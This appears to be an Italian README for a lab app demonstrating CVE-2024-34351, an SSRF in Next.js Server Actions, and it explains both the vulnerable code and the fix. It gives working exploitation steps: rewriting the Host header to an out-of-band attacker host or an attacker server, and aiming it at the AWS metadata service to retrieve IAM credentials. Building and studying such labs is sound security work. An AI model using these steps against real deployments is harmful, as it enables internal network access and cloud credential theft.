
Applicazione Next.js 14.0.0 minimale per dimostrare CVE-2024-34351 — una vulnerabilità di Server-Side Request Forgery (SSRF) nelle Server Actions di Next.js.
Scoperta da Adam Kues e Shubham Shah presso Assetnote. Corretta in Next.js 14.1.1.
Quando una Server Action chiama redirect('/some-path'), Next.js costruisce un URL di fetch interno utilizzando l'header Host della richiesta in arrivo senza validazione:
// Codice vulnerabile in createRedirectRenderResult (Next.js < 14.1.1)
const host = req.headers['host'] // controllato dall'attaccante
const fetchUrl = new URL(`${proto}://${host}${basePath}${redirectUrl}`)
await fetch(fetchUrl, { method: 'HEAD', ... }) // il server effettua questa richiesta
Un attaccante che controlla l'header Host può indirizzare questo fetch interno verso qualsiasi destinazione raggiungibile dal server.
npm install
npm run build # è necessario usare la build di produzione -- in modalità dev i redirect seguono percorsi diversi
npm run start # l'app viene eseguita su http://localhost:3000
interactsh è utile per confermare che il server Next.js effettui una richiesta verso l'esterno a un host controllato dall'attaccante.
# Installa interactsh-client
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
# Avvia una sessione -- annota il tuo URL di interazione, es. abc123.oast.fun
interactsh-client
In Burp Suite:
http://localhost:3000 e invia il modulo di login con l'intercettazione ATTIVAHost: localhost:3000 in Host: abc123.oast.funQuesto dimostra la SSRF verso l'esterno. La richiesta ha origine dal processo server, non dal browser.
interactsh non può controllare la propria risposta, quindi Next.js non proseguirà con la GET. Per ottenere l'intero corpo della risposta, usa il server dell'attaccante incluso:
python3 attacker/attacker_server.py 8888
Imposta l'header Host su <il-tuo-ip-lan>:8888 e inoltra. Il server dell'attaccante risponde
alla HEAD con Content-Type: text/x-component, innescando la GET. L'intero corpo della risposta
viene restituito all'interno della risposta di Next.js visibile in Burp.
Quando l'app vulnerabile viene eseguita su un'istanza AWS EC2, imposta l'header Host su:
Host: 169.254.169.254
Next.js effettuerà il fetch dal servizio di metadati dell'istanza. Per recuperare le credenziali IAM:
Host: 169.254.169.254
Poi modifica il percorso di redirect o usa una richiesta successiva per puntare a:
http://169.254.169.254/latest/meta-data/iam/security-credentials/
L'intera risposta dei metadati viene restituita al browser dell'attaccante.
// Corretto -- non legge più dall'header di richiesta controllato dall'attaccante
const host = (staticGenerationStore.incrementalCache as any)?.__nextHostnamePort
?? process.env.__NEXT_PRIVATE_ORIGIN
?? req.headers['host']
La correzione preferisce process.env.__NEXT_PRIVATE_ORIGIN -- impostato all'avvio del server, non controllabile dall'attaccante.